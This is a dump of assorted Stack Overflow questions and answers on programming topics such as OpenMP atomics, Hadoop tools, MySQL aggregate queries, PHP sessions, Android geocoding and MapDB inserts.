10978057	0	 <p>Clearly this operation is not thread-safe since, as you mentioned yourself, it involves several assembler instructions. In fact, openMP even has a special directive for this kind of operations.</p> <p>You will need the <code>atomic</code> pragma to make it, well, "atomic":</p> <pre><code>#pragma omp atomic totalTime += elapsedTime; </code></pre> <p>Note that <code>atomic</code> only works when you have a single update to a memory location, like an addition, increment, etc.</p> <p>If you have a series of instructions that need to atomic together you must use the <code>critical</code> directive:</p> <pre><code>#pragma omp critical { // atomic sequence of instructions } </code></pre> <p><strong>Edit</strong>: Here's a good suggestion from "snemarch": If you are repeatedly updating the global variable <code>totalTime</code> in a parallel loop you can consider using the <code>reduction</code> clause to automatize the process and also make it much more efficient:</p> <pre><code>double totalTime = 0; #pragma omp parallel for reduction(+:totalTime) for(...) { ... totalTime += elapsedTime; } </code></pre> <p>At the end <code>totalTime</code> will correctly contain the sum of the local <code>elapsedTime</code> values without need for explicit synchronization.</p>
7257186	0	 <p>I see no problem using the second version. I usually use the second version, only using the first version if the sender may be more than one type of object. Then, if the method needs to know what type of object, the method can query the sender before casting the sender to a particular type. </p> <p>Even more frequently I find no need to access the sender, so I just use:</p> <pre><code>- (IBAction)buttonPressed { // Do something. } </code></pre>
4599484	0	requesting ajax via HttpWebRequest <p>I'm writing a simple application that will download some piece of data from a website then I can use it later for any purpose.</p> <p>The following is the request and response copied from Firebug as the browser did that. When you type <code>http://x5.travian.com.sa/ajax.php?f=k7&amp;x=18&amp;y=-186&amp;xx=12&amp;yy=-192</code> you will get a PHP file has some data. But when I make a request with <code>HttpWebRequest</code> I get wrong data (some unknown letters)</p> <p>Can anyone help me in that? Do I have to make some encodings or what?</p> <p><strong>Response</strong></p> <pre class="lang-none prettyprint-override"><code> 1. Server nginx 2. Date Tue, 04 Jan 2011 23:03:49 GMT 3. Content-Type application/json; charset=UTF-8 4. Transfer-Encoding chunked 5. Connection keep-alive 6. X-Powered-By PHP/5.2.8 7. Expires Mon, 26 Jul 1997 05:00:00 GMT 8. Last-Modified Tue, 04 Jan 2011 23:03:49 GMT 9. Cache-Control no-store, no-cache, must-revalidate, post-check=0, pre-check=0 10. Pragma no-cache 11. Content-Encoding gzip 12. Vary Accept-Encoding </code></pre> <p><strong>Request</strong> </p> <pre class="lang-none prettyprint-override"><code> 1. Host x5.travian.com.sa 2. User-Agent Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) 3. Gecko/20101203 Firefox/3.6.13 4. Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5. Accept-Language en-us,en;q=0.5 6. Accept-Encoding gzip,deflate 7. Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7 8. Keep-Alive 115 9. Connection keep-alive 10. Cookie CAD=57878984%231292375897%230%230%23%230; T3E=%3DImYykTN2EzMmhjO5QTM2QDN2oDM1ITOyoDOxIjM4EDN5ITM6gjO4MDOxIWZyQWMipTZu9metl2ctl2c6MDNxADN6MDNxADNjMDNxADNjMDNxADN; orderby_b1=0; orderby_b=0; orderby2=0; orderby=0 </code></pre>
32927225	0	Auth does not work on app engine <p>I'm trying to use the given authentication methods for app engine:</p> <pre><code>handlers: - url: /static static_dir: src/static - url: /admin/.* script: src.app login: admin - url: /client/.* script: src.app login: required - url: /.* script: src.app login: optional </code></pre> <p>But the authentication does not work when I navigate to <code>/client</code> or <code>/admin</code></p>
5275518	0	 <p>Try using the internalChange and externalChange functions.</p> <p><a href="http://jsfiddle.net/5L6Ur/9/" rel="nofollow">http://jsfiddle.net/5L6Ur/9/</a></p>
24670272	0	 <p>Each Ethernet frame starts with an Ethernet header, which contains destination and source MAC addresses as its first two fields. </p>
19254165	0	 <p>IMHO, Hadoop all by itself won't be able to solve your problem. First of all Hadoop(HDFS to be precise) is a FS and doesn't provide columnar storage wherein you can query for a particular field. Data inside HDFS is stored as flat files and you have to traverse across the data in order to reach upto the point where the data of interest resides.</p> <p>Having said that, there are some workarounds, like making use of <strong><a href="http://hive.apache.org" rel="nofollow">Hive</a></strong>. Hive is another member of the Hadoop family which provides warehousing capability on top of your existing Hadoop cluster. It allows us to map HDFS files as Hive tables which can be queried conveniently. Also, it provides a SQL like interface to query these tables. But, Hive is not a good fit if you have real time needs.</p> <p>I feel something like <strong><a href="https://github.com/cloudera/impala" rel="nofollow">Imapala</a></strong> would be more useful to you which allows to query our BigData keeping the real-time-ness in mind.</p> <p>The reason for whatever I have mentioned above is that your use case requires more than just scalability provided by Hadoop. Along with the ability to distribute the load, your solution should be able to cater the needs you have specified above. It is more than just distributing your data over a group of machines and running raw querying over it. Your users would require <strong>real-time response</strong> along with the <strong>smart suggestions</strong> feature you have mentioned in your question.</p> <p>You actually need a smarter system than just a Hadoop cluster. Do have a look at <strong><a href="http://mahout.apache.org/" rel="nofollow">Apache Mahout</a></strong>. It is an awesome tool that provides the feature of <strong>Recommendation Mining</strong> and can be used with Hadoop easily. You can find more its home page. I will definitely help you in adding that <strong>smart suggestions</strong> feature to your system.</p> <p>You might wanna have a look at another tool of the Hadoop family, the <strong><a href="http://hbase.apache.org/" rel="nofollow">HBase</a></strong>, which is a distributed, scalable, big data store. It acts like a database, but it is not a relational database. It also runs on an existing Hadoop cluster and provides real-time random read/write capabilities. Read a bit about it and see if it fits somewhere.</p> <p>Last but not the least, it all depends on your needs. An exact decision can be made only after giving different things a try and doing a comparative study. We can just suggest you based on our experiences, but a fair decision can be made only after testing a few tools and finding which one fits best into your requirements :)</p>
21068704	0	 <p>Your class variable cannot be private if you would like your child class to access it. Try protected instead and it should work!</p>
2563348	0	 <p>Pretty much you want two different images of a star. One image is the plain white star and the other is the yellow (or whatever color) star that indicates it has been favorited. On the click event of the image, you just check which image is the src and then change it accordingly to match the necessary status of favorited or not. Then you run an ajax call to actually save the status to the database.</p> <ul> <li>The closest tutorial I found so far: <a href="http://www.9lessons.info/2009/09/favourite-rating-with-jquery-and-ajax.html" rel="nofollow noreferrer">http://www.9lessons.info/2009/09/favourite-rating-with-jquery-and-ajax.html</a></li> </ul>
18598930	0	 <p>Arrays don't really have a concept of 'width' and 'height', the dimensions are arbitrary.</p> <p>It just so happens that the length of the array in first dimension is 12 and the length of the array in the second dimension is 6, so it's a 12x6 array. The fact that you and I conventionally think of the first dimension as 'width' and the second as 'height' is not relevant to the compiler.</p>
9558502	0	 <p>First make sure the dll that failed to load is actually in the search path of your Application. If it is, run the <a href="http://www.dependencywalker.com/" rel="nofollow">Dependency Walker</a> on the dll that failed to load to see why it failed to load. Like the error message says it is possible that one of the dll's dependencies failed to load. For instance, a common mistake occurs if you deploy a debug version of your dll. It would work on your development machine since it most likely would have whaterver SDK you used already installed, but on a fresh machine it would fail to load because the debug dlls are not installed. The Dependency Walker will allow you to find this sort of problem.</p>
10820629	0	gimp command line <p>I am using gimp 2.6 in linux and would like to run a built in script from the command line (plugins > web > slice). Using the default options would be fine, or entering in them at the command line would be fine I don't really care. Just simply run the built-in script from the command line and then exit gimp. But I can't find a simple example anywhere online, all of them huge scripts with very steep learning curves. Could someone please give me an example of how to just run py-slice on an image and then exit the gimp?</p>
31034921	0	 <p>Changing your code to this:</p> <pre><code>$(document).ready(function(){ var rightHeight = $('.rightcolumn').height(); var leftHeight = $('.leftcolumn').height(); if(leftHeight &lt; rightHeight) { $('.leftcolumn').height(rightHeight); } }); </code></pre> <p>Seems to do the trick for safari. <a href="http://jsfiddle.net/p0070zb4/" rel="nofollow"><strong>See this fiddle</strong></a></p>
25513402	0	 <p>The easiest solution is to create the project in the <strong>default location</strong> in the wizard. Then it just works (as of this writing, but it didn't use to). You can move it to wherever you want at that point.</p> <p><img src="https://i.stack.imgur.com/IFgya.png" alt="enter image description here"></p> <p>You <strong>can</strong> create it in a different folder but then you'll have to:</p> <ul> <li>Edit the modulePath entries in the descriptor.json files to remove the extra path (in my case changed com/test to com/).</li> <li>Remove the bad generated-source folders in the java build path.</li> <li>Add the correct generated-source folders into the java build path.</li> </ul> <p>Which is pointless but included here for completeness. I admit I don't know what I'm doing in the descriptor.json files but it fixed the problem for me.</p>
30200471	0	Mysql query to select records where the sum of a column's values is in a given variable range <p>I've been trying to write a query to select all records from a table where the sum of a column's values is between a variable range.</p> <p>Here's what I came up with so far:</p> <pre><code>$result = mysql_query(' SELECT * FROM table WHERE SUM(column) BETWEEN $Range1 AND $Range2 ORDER BY RAND()); </code></pre> <p>However when I try to loop through the above query with the mysql_fetch_object function it gives me a common error (The supplied argument is not a valid result).I've tried different ways of writing it but still come up short</p> <p>So I tried the query using aliases you guys provided but still get the same error.</p> <pre><code>$result = mysql_query(' SELECT column1, SUM(column2) AS Total FROM table GROUP BY column1 HAVING Total BETWEEN $Range1 AND $Range11 ORDER BY RAND()'); </code></pre>
32398155	0	PHP Sessions and Cookies set up <p>I want to learn something, that I couldn't find on the internet. I create a simple website, more like a simple web app, we the following structure.</p> <pre><code>index.php --&gt; handles log In or Register home.php --&gt; main state of website. </code></pre> <p>So basically I want when a user log in, the website will direct him to <code>home.php</code>. I did it already. But I get a really annoying bug. If I redirect bruteforce in <code>www.someexample.com/home.php</code>, the user can bypass the main log in screen. O.o<br> So I thought that if I can use a session checker to see if the user is log in or just a brute forcer -sorry about the bad term- the website will redirect him to log in screen. And if the user don't want every time to log in he can check a <code>Remember me</code> button to remember the session. So in the end I want to have two methods. one to check if a user is log in or not and the other to save his session even after if he close the computer until he poush the log out button.</p> <p>I have checked many articles on the web but I couldn't find how to start in my own project. Can you guys help me start of with a basic structure. i use MySql.</p>
26214919	0	 <p>Design a UI and ask the user to supply the "email incoming/outgoing server settings", which you then store in a file, database, or <code>SharedPreferences</code> as appropriate.</p>
25538711	0	How to sort items for faster insertion in the MapDB BTree? <p>so I have a list of around 20 million key value pairs, and I'm storing the data in several MapDB's differently to see how it affects my programs performance, and for experiment sake.</p> <p>The thing is, it takes quite a lot of time to insert (in random order) 20 million key-value pairs into a mapdb. So, I would like to sort the list of key-value pairs I have so I can insert them faster, and thus build databases faster out of them.</p> <p>So, how would I go about this?</p> <p>I'd like to learn how to do this for MapDB's BTreeSet and BTreeMap, or, MapDBs that use single key-value pairs and MapDBs that have multiple values for a single key.</p> <p>EDIT: I forgot to mention, the key-value pairs are String objects.</p>
28211541	0	Swipe Function- Universal Device Compatibility issue during automation testing using appium <p>How should one use <strong>swipe/scroll</strong> for <strong>maven automation testing</strong> using <strong>appium</strong> so that it is <strong>compatible</strong> for all the devices? I tried using fixed coordinates and then converting them into percentages of the screen height and width, so that the corresponding coordinates are used for swipe in some other device, but i think because of the 5th parameter of the swipe function (swipe duration), it is not getting universal. What is the work around to achieve universal compatibility for swipe? </p>
12808179	0	Geocode results based on current location <p>In one of my activities i need to be able to do a geocoding (find a location by address String search). The problem is that my results are much too broad. When i search for "mcdonalds" i get results that are in different parts of the USA. How can i make it so a user can search for nearby restaurants (or any location) and the results will be within a certain distance? I basically need more precise results for my application. Here is a screenshot of whats happening: <img src="https://i.stack.imgur.com/T2naX.png" alt="enter image description here"></p> <pre><code>public class MainActivity extends MapActivity { HelloItemizedOverlay itemizedOverlay; List&lt;Overlay&gt; mapOverlays; Drawable drawable; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); MapView myMap = (MapView) findViewById(R.id.mapview); myMap.setBuiltInZoomControls(true); MapController mc = myMap.getController(); mapOverlays = myMap.getOverlays(); drawable = this.getResources().getDrawable(R.drawable.androidmarker); itemizedOverlay = new HelloItemizedOverlay(drawable, this); //geopoints are cordinates in microdegrees or degrees * E6 GeoPoint point = new GeoPoint(34730300, -86586100); //GeoPoint point2 = locatePlace("texas", mc); //HelloItemizedOverlay.locatePlace("Texas", mc, myMap); //overlayitems are items that show the point of location to the user OverlayItem overlayitem = new OverlayItem(point, "Hola, Mundo!", "im in huntsville"); //OverlayItem overlayitem2 = new OverlayItem(point2, "Texas", "hi"); //itemizedoverlay is used here to add a drawable to each of the points itemizedOverlay.addOverlay(overlayitem); //itemizedOverlay.addOverlay(overlayitem2); //this adds the drawable to the map //this method converts the search address to locations on the map and then finds however many you wish to see. locatePlace("mcdonalds", mc, 5); mapOverlays.add(itemizedOverlay); //this animates to the point desired (i plan on having "point" = current location of the user) mc.animateTo(point); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.activity_main, menu); return true; } @Override protected boolean isRouteDisplayed(){ return false; } public void locatePlace(String locName, MapController mc, int numberToDisplay) { // code to make the google search via string work // i use the Geocoder class is used to handle geocoding and reverse-geocoding. So make an instance of this class to work with the methods included Geocoder geoCoder1 = new Geocoder(this, Locale.getDefault()); try { List&lt;Address&gt; searchAddresses = geoCoder1.getFromLocationName(locName, numberToDisplay); // gets a max of 5 locations if (searchAddresses.size() &gt; 0) { //iterate through using an iterator loop (for loop would have been fine too) //Iterator&lt;Address&gt; iterator1 = searchAddresses.iterator(); for (int i=0; i &lt; searchAddresses.size(); i++){ //while (iterator1.hasNext()){ //step1 get a geopoint GeoPoint tempGeoP = new GeoPoint( (int) (searchAddresses.get(i).getLatitude()*1E6), (int) (searchAddresses.get(i).getLongitude()*1E6) ); //step2 add the geopoint to the Overlay item OverlayItem tempOverlayItm = new OverlayItem(tempGeoP, locName, "this is " + locName); //step3 add the overlay item to the itemized overlay HelloItemizedOverlay tempItemizedOverlay = new HelloItemizedOverlay(drawable, this); // its breakking here......... tempItemizedOverlay.addOverlay(tempOverlayItm); //the itemized overlay is added to the map Overlay mapOverlays.add(tempItemizedOverlay); } } } catch (IOException e) { e.printStackTrace(); // Log.e("the error", "something went wrong: "+ e); }//finally {} } } </code></pre> <p>// here is the important code from the Itemized overlay class</p> <pre><code>public HelloItemizedOverlay(Drawable defaultMarker, Context context) { super(boundCenter(defaultMarker)); myContext = context; } public void addOverlay(OverlayItem overlay){ mOverlays.add(overlay); populate(); } </code></pre> <p>Thanks, Adam</p> <p>Here is some code after adjusting to Vishwa's comments:</p> <pre><code> // these 2 variables are my current location latitudeCurrent = 34730300; // make this dynamic later longitudeCurrent = -86586100; // make this dynamic later LLlatitude = (latitudeCurrent - 100000)/(1E6); //lowerleft latitude = original lat - (1)*degree/10 LLlongitude = (longitudeCurrent+ 100000)/(1E6);//lowerleft longitude = original longitude - (1)*degree/10 URlatitude = (latitudeCurrent + 100000)/(1E6); //upperright latitude = original + (1)*degree/10 URlongitude = (longitudeCurrent+ 100000)/(1E6); //upperright longitude = original longitude + (1)*degree/10 try { List&lt;Address&gt; searchAddresses = geoCoder1.getFromLocationName(locName, numberToDisplay, LLlatitude, LLlongitude, URlatitude, URlongitude); </code></pre> <p><img src="https://i.stack.imgur.com/jJc7p.png" alt="after creating a square of allowable results from the getfromlocationname()"></p>
18576495	0	 <p>The easiest way could be using introtext and fulltext in K2.</p> <ol> <li><p>Go to K2 > Parameters > Advanced > Use one editor window for introtext &amp; fulltext (<strong>YES</strong>).</p></li> <li><p>Make sure that introtext and fulltext are set to <strong>Show</strong> in the corresponding K2 category and/or item settings (Item view options in the right tabs).</p></li> <li><p>Verify that your K2 template (if a custom one) is showing both parts:</p></li> </ol> <p>This was taken from the original item.php K2 template.</p> <pre><code>&lt;?php if(!empty($this-&gt;item-&gt;fulltext)): ?&gt; &lt;?php if($this-&gt;item-&gt;params-&gt;get('itemIntroText')): ?&gt; &lt;!-- Item introtext --&gt; &lt;div class="itemIntroText"&gt; &lt;?php echo $this-&gt;item-&gt;introtext; ?&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;?php if($this-&gt;item-&gt;params-&gt;get('itemFullText')): ?&gt; &lt;!-- Item fulltext --&gt; &lt;div class="itemFullText"&gt; &lt;?php echo $this-&gt;item-&gt;fulltext; ?&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;?php else: ?&gt; &lt;!-- Item text --&gt; &lt;div class="itemFullText"&gt; &lt;?php echo $this-&gt;item-&gt;introtext; ?&gt; &lt;/div&gt; &lt;?php endif; ?&gt; </code></pre>
31412755	0	 <p>Found new way to do it :</p> <h2>Objective-C</h2> <pre><code>- (void)didMoveToParentViewController:(UIViewController *)parent{ if (parent == NULL) { NSLog(@"Back Pressed"); } } </code></pre> <h2>Swift</h2> <pre><code>override func didMoveToParentViewController(parent: UIViewController?) { if parent == nil { println("Back Pressed") } } </code></pre>
3497998	0	why am I getting "integer expected" error in the Android manifest? <p>I think I've asked this before but I can't find the question now, and I don't think I got an answer. </p> <p>In the android manifest on the first line ""</p> <p>I'm getting an error marker (with a red X). When I mouse over the red x it says-</p> <p>"Manifest attribute 'minSdkVersion' is set to '2.1'. Integer is expected."</p> <p>does anyone know what could be causing this or how I might fix it? </p> <p>Thanks</p>
4760995	0	Get change commands without modifying collection <p>Probably a very poorly named title, but anyway...</p> <p>I am using the command pattern on a hierarchical data set. So basically I need a method that returns an object that <em>describes</em> the changes that will be made without actually changing the data. So for example:</p> <p>Object 1 -> Object 2 -> Object 3</p> <p>If I move object 1, it will cause a change in Object 2, which will cause a change in Object 3 because they depend on each other. So...I need a method to recursively go through the hierarchical collection and gather up the changes that are required to move Object 1 without actually modifying the collection. Halfway through the recursion it would be nice to be able to use something like Object1.Location, but it may already slated for change so I can't reliably use it.</p> <p>I feel like there are plenty of algorithms and such that need to do this type of "in place" modification. As a non-CS major I didn't learn much of this type of thing, so I don't really even know what search terms to look for to find a "solution". I put solution in quotes because I realize there probably isn't a direct solution for my problem, but I am merely looking for some good guidelines/examples of this being done to get my brain cranking.</p> <p>Can anyone provide some real-world examples of this type of thing being done? Thanks in advance.</p>
10908550	0	 <p>Following are the under Microsoft Public License (Ms-PL) license and You might want to check out <a href="http://www.codeplex.com/quickgraph" rel="nofollow">QuickGraph</a>.</p></p> <p><a href="http://www.codeplex.com/NodeXL" rel="nofollow">NodeXL</a> might also be of interest (visualization library). It's WPF, but you can use a container to host it if you need WinForms.</p> <p>You can use check <a href="http://www.graphviz.org/" rel="nofollow">GraphViz</a> to generate this sort of graph. My app generates the <strong>.dot</strong> file that can then is then passed into GraphViz. It supports a load of file formats, such as bmp, jpg, png, pdf, svg etc etc.</p> <p>Reference:</p> <p><a href="http://www.dmoz.org/Science/Math/Combinatorics/Software/Graph_Drawing/" rel="nofollow">Open Source tools list</a><br> <a href="http://stackoverflow.com/questions/737771/c-sharp-graph-drawing-library">C# graph drawing library?</a><br> <a href="http://stackoverflow.com/questions/69275/drawing-a-web-graph">Drawing a Web Graph</a></p> <p>You could use <a href="http://quickgraph.codeplex.com/" rel="nofollow">QuickGraph</a> to easily model the graph programatically, then export it to <a href="http://quickgraph.codeplex.com/wikipage?title=Visualization%20Using%20Graphviz&amp;referringTitle=Documentation" rel="nofollow" >GraphViz</a> or <a href="http://quickgraph.codeplex.com/wikipage?title=Visualization%20Using%20Glee&amp;referringTitle=Documentation" rel="nofollow" >GLEE</a>, then render it to PNG.</p>
21764770	1	TypeError: got multiple values for argument <p>I read the other threads that had to do with this error and it seems that my problem has an interesting distinct difference than all the posts I read so far, namely, all the other posts so far have the error in regards to either a user created class or a builtin system resource. I am experiencing this problem when calling a function, I can't figure out what it could be for. Any ideas?</p> <pre><code>BOX_LENGTH = 100 turtle.speed(0) fill = 0 for i in range(8): fill += 1 if fill % 2 == 0: Horizontol_drawbox(BOX_LENGTH, fillBox = False) else: Horizontol_drawbox(BOX_LENGTH, fillBox = True) for i in range(8): fill += 1 if fill % 2 == 0: Vertical_drawbox(BOX_LENGTH,fillBox = False) else: Vertical_drawbox(BOX_LENGTH,fillBox = True) </code></pre> <p>Error message:</p> <pre><code> Horizontol_drawbox(BOX_LENGTH, fillBox = True) TypeError: Horizontol_drawbox() got multiple values for argument 'fillBox' </code></pre>
22071604	0	 <p>I think it is due to a jar conflict or maybe some jars are missing. Maybe you are using some other jars (in your application) apart of the ones you have included within your glassfish. Try to run a simple Fusion Web App (ex: only one jsf in it) and see if it runs. If it doesn't work then you might consider trying another Glassfish or to reconfigure it. I am using Glassfish 3.1.2.2 without problems.</p>
16286775	0	A simple subtraction practice <p>I want to make a little game for my son to practice subtraction ( since he won't get off the computer !! ) . i have tried this code but my problem is that i want the first number to be always higher than the second number (cause that's wht they know so far ) ..this is my code :</p> <pre><code>&lt;?PHP $string = "1234567890"; $shuffled = str_shuffle($string); $shuffled2 = str_shuffle($string); $num1 = substr($shuffled, 0, 3); $num2=substr($shuffled2, 0, 3); if ($num2 &gt; $num1) { some code here .. } else { echo "$num1&lt;BR&gt;"; echo "$num2&lt;BR&gt;"; $res= $num1-$num2; echo "$res&lt;BR&gt;"; } ?&gt; </code></pre> <p>so what is the missing code here ..i was thinking (goto) back from my days of basic to run code from the beginning until condition if satisfied ..but i don't know if that works in PHP .. Or ...is there a way to put a condition on shuffle in the first place so it can always return the first number higher than the second number? </p>
34760649	1	How to use whoosh for searching keywords <p>Article Schema:</p> <p>Below is the article schema what I have created.</p> <pre><code>class ArticleSchema(SchemaClass): title = TEXT( phrase=True, sortable=True, stored=True, field_boost=2.0, spelling=True, analyzer=StemmingAnalyzer()) keywords = KEYWORD( commas=True, field_boost=1.5, lowercase=True) authors = KEYWORD(stored=True, commas=True, lowercase=True) content = TEXT(spelling=True, analyzer=StemmingAnalyzer()) summary = TEXT(spelling=True, analyzer=StemmingAnalyzer()) published_time = DATETIME(stored=True, sortable=True) permalink = STORED thumbnail = STORED article_id = ID(unique=True, stored=True) topic = TEXT(spelling=True, stored=True) series_id = STORED tags = KEYWORD(commas=True, lowercase=True) </code></pre> <p>Search Query</p> <pre><code>FIELD_TIME = 'published_time' FIELD_TITLE = 'title' FIELD_PUBLISHER = 'authors' FIELD_KEYWORDS = 'keywords' FIELD_CONTENT = 'content' FIELD_TOPIC = 'topic' def search_query(search_term=None, page=1, result_len=10): '''Search the provided query.''' if not search_term or search_term == '': return None, 0 if not index.exists_in(INDEX_DIR, indexname=INDEX_NAME): return None, 0 ix = get_index() parser = qparser.MultifieldParser( [FIELD_TITLE, FIELD_PUBLISHER, FIELD_KEYWORDS, FIELD_TOPIC], ix.schema) query = parser.parse(search_term) query.normalize() search_results = [] with ix.searcher() as searcher: results = searcher.search_page( query, pagenum=page, pagelen=result_len, sortedby=[sorting_timestamp, scores], reverse=True, terms=True ) if results.scored_length() &gt; 0: for hit in results: search_results.append(append_to(hit)) return (search_results, results.pagecount) parser = qparser.MultifieldParser( [FIELD_TITLE, FIELD_PUBLISHER, FIELD_TOPIC], ix.schema, termclass=FuzzyTerm) parser.add_plugin(qparser.FuzzyTermPlugin()) query = parser.parse(search_term) query.normalize() search_results = [] with ix.searcher() as searcher: results = searcher.search_page( query, pagenum=page, pagelen=result_len, sortedby=[sorting_timestamp, scores], reverse=True, terms=True ) if results.scored_length() &gt; 0: for hit in results: search_results.append(append_to(hit)) return (search_results, results.pagecount) return None, 0 </code></pre> <p>When I am trying the title search is working, but for author and keyword the search is not working. I am not able to understand what wrong I am doing here. I am getting data from api and then running the index. It's all working fine. But when I am searching through keywords like <code>authors</code> and <code>keywords</code> it's not working.</p>
36089335	0	 <p>A workaround is to add the attribute statically in addition to the binding</p> <pre><code> &lt;use xlink:href="" xlink:href$="[[replaceSVGPath(item)]]"&gt;&lt;/use&gt; </code></pre> <p>Polymer has issues creating the attribute, if it already exists it can update it just fine.</p>
29514565	0	Subsetting sas data set without creating new data file, rather creating a new variable <p>I have 3 variables in my data set: <code>id</code>, <code>Time</code>, and <code>y1</code>. </p> <p>Now I want to create a new variable with the value of <code>y1</code> when <code>Time=1</code>.</p> <p>How can I do it?</p>
23578715	0	 <p>Your while loop itterates over all lines and sets the current line to the routeName. Thats why you habe the last line in you string. What you could do is calling a break, when you habe read the first line oft the file. Then you will have the first line.</p>
15453912	0	Return car make by providing car model from XML file using .asmx web service <p>I am writing an .asmx web service to return all car makes matching a requested model from within an XML file.</p> <p>Using VB in ASP.net, can you suggest how I could:</p> <p>1) first find a match to the requested make, then 2) return all models?</p> <p>Below is a sample of the XML. Thanks!</p> <pre><code>&lt;cars&gt; &lt;car&gt; &lt;carmake&gt;Acura&lt;/carmake&gt; &lt;carmodels&gt; &lt;carmodel&gt;ILX&lt;/carmodel&gt; &lt;carmodel&gt;MDX&lt;/carmodel&gt; &lt;carmodel&gt;RDX&lt;/carmodel&gt; &lt;/carmodels&gt; &lt;/car&gt; &lt;car&gt; &lt;carmake&gt;Aston Martin&lt;/carmake&gt; &lt;carmodels&gt; &lt;carmodel&gt;DB9&lt;/carmodel&gt; &lt;carmodel&gt;DBS&lt;/carmodel&gt; &lt;carmodel&gt;Rapide&lt;/carmodel&gt; &lt;/carmodels&gt; &lt;/car&gt; &lt;/cars&gt; </code></pre>
24258656	0	 <p>It's most likely a permissions problem - if you enabled error reporting or trapped errors in your code then you might be able to identify the problem yourself.</p>
3103307	0	 <p><strong>Update: I think this solution is less good then the other one I posted above, but I am leaving it as an example of a solution - which is not so good :) *</strong></p> <p>Hi Rishard,</p> <p>It's a bit difficult with out some sample data to help.</p> <p>But it sound like you could reshape your data using "melt" and "cast" from the "reshape" package. Doing that will enable you to find where you have too few observation per subject, and then use that information to subset your data.</p> <p>Here is an example code of how this can be done:</p> <pre><code>xx &lt;- data.frame(subject = rep(1:4, each = 3), observation.per.subject = rep(rep(1:3), 4)) xx.mis &lt;- xx[-c(2,5),] require(reshape) num.of.obs.per.subject &lt;- cast(xx.mis, subject ~.) the.number &lt;- num.of.obs.per.subject[,2] subjects.to.keep &lt;- num.of.obs.per.subject[,1] [the.number == 3] ss.index.of.who.to.keep &lt;- xx.mis $subject %in% subjects.to.keep xx.to.work.with &lt;- xx.mis[ss.index.of.who.to.keep ,] xx.to.work.with </code></pre> <p>Cheers,</p> <p>Tal</p>
38496260	0	 <p>Just make your own class for display block.</p> <pre><code>.db{ display:block; } </code></pre> <p>Then on your jquery just toggle class.</p> <pre><code> $("button").click(function(){ $("#1").toggleClass('db'); }) </code></pre>
28900440	0	CustomComparator sort objects error <p>I keep getting the error </p> <pre><code>The method sort(List&lt;T&gt;, Comparator&lt;? super T&gt;) in the type Collections is not applicable for the arguments (List&lt;InterfaceMessage&gt;, Folder.CustomComparator) </code></pre> <p>on the code...</p> <pre><code>@Override public void sortByDate(boolean ascending) { Collections.sort(messageList, new CustomComparator()); } class CustomComparator implements Comparator&lt;Message&gt; { public int compare(Message message1, Message message2) { return message1.getDate().compareTo(message2.getDate()); } } </code></pre> <p>I'm trying to compare the dates within each object in a list to order them by their dates. I'm new to making a comparator but I have seen many examples which I've followed but mine doesn't seem to work? I know I haven't done anything with "ascending" yet, I just want to get the basic comparator working.</p> <p>Any help is appreciated, thank you :)</p>
10644981	0	 <p>I don't think this will do you any good. AFAIK, there's no relationship between android.hardware.SensorEvent and com.sun.j3d.utils.behaviors.sensor.SensorEvent.</p> <p>From a brief look at the Android source code, it looks like there's simply no way to create your own SensorEvent object. This is a serious oversight on Google's part, if you ask me.</p> <p>Edit: Here's what I do. I write a method named sensorChanged(Sensor sensor, float[] values) to do all the work, and just call it from the regular onSensorChanged() method. Then, when I want to test sensor handling from within my app, I call sensorChanged() with whatever values I want. I might not be able to create a SensorEvent object, but this way I can still test my code.</p>
21656732	0	 <p>I think it's supposed to be:</p> <pre><code>Document doc = Jsoup.connect("http://en.wikipedia.org/wiki/Main_Page").get(); Elements el = doc.select("div#mp-tfa"); System.out.println(el); </code></pre>
32381835	0	 <p>Do you want to re-write the handler using lambda's? Could be something like the following</p> <pre><code>&lt;T&gt; MessageConsumer&lt;T&gt; consumer(String address, Function&lt;Message&lt;T&gt;, Void&gt; function); </code></pre> <p>and instead of</p> <pre><code>doSomething.consumer("someString", new Handler&lt;Message&lt;JsonObject&gt;&gt;() { @Override public void handle(Message&lt;JsonObject&gt; event) { //do some code } }); </code></pre> <p>you could write</p> <pre><code>doSomething.consumer("someString", message -&gt; null); </code></pre>
27911326	0	 <p>WP8.1 map tile layers do not support opacity on their own. However you can add it by using a custom tile source. I have a code sample of how to do this here: <a href="https://code.msdn.microsoft.com/Adding-Opacity-and-WMS-cf6773f1" rel="nofollow">https://code.msdn.microsoft.com/Adding-Opacity-and-WMS-cf6773f1</a></p>
15814315	0	 <p>I think it should be like <code>defaults: new { controller = "Content", action = "GetThumbnail" }</code>. <code>action =</code>, <code>not id =</code></p> <p>(Just posting as answer so it can be accepted as it satisfies the OP)</p>
10723438	0	 <p>If you have <code>make</code> installed, the build rules that are built in will be enough to build your binaries.</p> <p>Just do <code>make hello</code> and you will get your binary. No need to explicitly call <code>gcc</code>.</p>
7938348	0	Is there a get_method() function in PHP? <p>In one class I call $this->view() which will be handled by its extended class. But how can I get the name of the method in the parent view();</p> <p>To make it somewhat clearer:</p> <pre><code>&lt;?php class UsersController extends Controller public function signup() { $this-&gt;view(); } } class Controller { public function view() { // How can I get 'signup' so that I can include 'views/Users/signup.php' } } ?&gt; </code></pre>
22294408	0	Cannot update UI from other task in win forms? <p>I have four complex tasks running parallel, I want to update a rich textbox with the log file. The approximate program structure is as follows:</p> <pre><code>Sub buttonClick () complextask1 'code goes here complextask2 'code goes here complextask3 'code goes here complextask4 'code goes here end sub </code></pre> <p>The above four tasks updates a log file, which I have to display in a <code>RichTextbox</code> control. I tried with an infinite <code>while</code> loop, and updating the <code>textbox</code>, but my <code>UI</code> is getting hanged.</p>
